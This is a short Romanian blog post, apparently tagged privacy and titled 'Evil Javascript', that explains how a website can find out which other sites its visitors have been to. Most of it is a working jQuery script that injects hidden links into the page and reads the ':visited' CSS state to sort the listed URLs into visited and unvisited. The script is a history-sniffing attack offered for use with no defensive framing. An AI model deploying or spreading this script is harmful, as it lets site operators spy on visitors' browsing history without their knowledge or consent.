Oare?
Tag: privacy
Evil Javascript – Privacy
Cum poti afla pe ce situri a mai intrat un vizitator de-al sitului tau?
In felul urmator:
– Injectezi, folosind Javascript, in DOM linkuri ascunse catre siturile respective.
– Linkurile vizitate au atributul css “a:visited” iar cele nevizitate “a:link”.
Am facut si un mic exemplu folosind jQuery:
<script type=”text/javascript”>
urls = [
‘http://www.220.ro’,
‘http://www.hotnews.ro’,
‘http://www.cnn.com’,
‘http://www.google.com’,
‘http://www.bancosul.ro’,
‘http://www.jquery.com’,
‘http://www.inmh.ro’,
‘http://www.w3schools.com’
];
addLinks = function(){
$(‘body’).append(this+'<a href=”‘+this+'” style=”display:none”>’+this+'</a><br />’);
}
$(‘body’).append(‘<br /><b>Din urmatoarele linkuri:</b><br/><br />’);
//Adaug linkurile in DOM
$.each( urls, addLinks );
$(‘body’).append(‘<br /><br /><b>Ai intrat pe:</b><br/><br />’);
//Afisez siturile vizitate
$(‘a:visited’).each(addLinks);
$(‘body’).append(‘<br /><br /><b>Nu ai intrat pe:</b><br/><br />’);
//Afisez siturile nevizitate
$(‘a:link’).each(addLinks);
</script>